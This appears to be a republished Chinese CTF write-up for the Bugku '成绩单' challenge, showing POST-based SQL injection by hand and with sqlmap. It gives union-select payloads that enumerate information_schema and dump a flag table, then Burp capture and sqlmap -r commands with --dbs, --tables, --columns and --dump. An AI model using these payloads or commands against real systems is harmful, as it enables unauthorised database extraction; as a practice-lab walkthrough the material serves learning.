您好,欢迎来到九壹网。
搜索
您的当前位置:首页用sqlmap跑post型注入

用sqlmap跑post型注入

来源:九壹网
⽤sqlmap跑post型注⼊

bugku-成绩单

⼿⼯注⼊:

①看到题⽬,分别提交1,2,3,出现不同的成绩单,可见参数我们是可以控制,通过POST的⽅式。

②我们尝试输⼊1 and 1=1#和1 and 1=2#发现不报错,应该不是数字型注⼊。我们输⼊1',报错,这个数字(id)被'保护起来了。猜测SQL语句:~~~~whereid ='$id';我们继续输⼊1' and 1=1#;和1' and 1=2#,发现前边没错,后边的错了,到了这⾥ 注⼊点就找到了。顺便获取有⼏个显⽰位。

到5报错,说明有四个可能回显的位置。union select 1,2,3,4#

四个位置全部可以回显查询的内容。

③查找所有的数据库,输⼊-1' union select 1,2,3,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#。

获得了所有数据库,不过肯定是普通⽤户,还是只有查看的权限。查询下user()

④查找skctf_flag下的表。-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

⑤查看fl4g下的列名。-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

⑥ 查看skctf_flag下的内容。-1' union select 1,2,3,skctf_flag from skctf_flag.fl4g#

SQLMAP跑:

①⾸先,开burp截包。②输⼊1,提交。

可以看见,burp已经把id获取到了③copy to file,保存为txt⽂件。

把这个txt放置到sqlmap的⽬录下边。

④打开sqlmap,shift+⿏标右键打开命令⾏。python sqlmap.py -r a.txt (a.txt如果没有放到sqlmap⽬录就⽤绝对路径)。

可以看到,存在的注⼊类型(union查询和基于时间的盲注)和payload和数据库类型和版本都给你报出来了。然后剩下的参数就基本和跑get型注⼊差不多了。⑤获取所有数据库。python sqlmap.py -r a.txt --dbs

⑥获取skctf_flag下所有的表。python sqlmap.py -r a.txt -D skctf_flag --tables

⑦获取fl4g下所有的列。python sqlmap.py -r a.txt -D skctf_flag -T fl4g --columns

⑧获取列skctf_flag下的内容。python sqlmap.py -r a.txt -D skctf_flag -T fl4g -C \"skctf_flag\" --dump

因篇幅问题不能全部显示,请点此查看更多更全内容

Copyright © 2019- 91gzw.com 版权所有 湘ICP备2023023988号-2

违法及侵权请联系:TEL:199 18 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务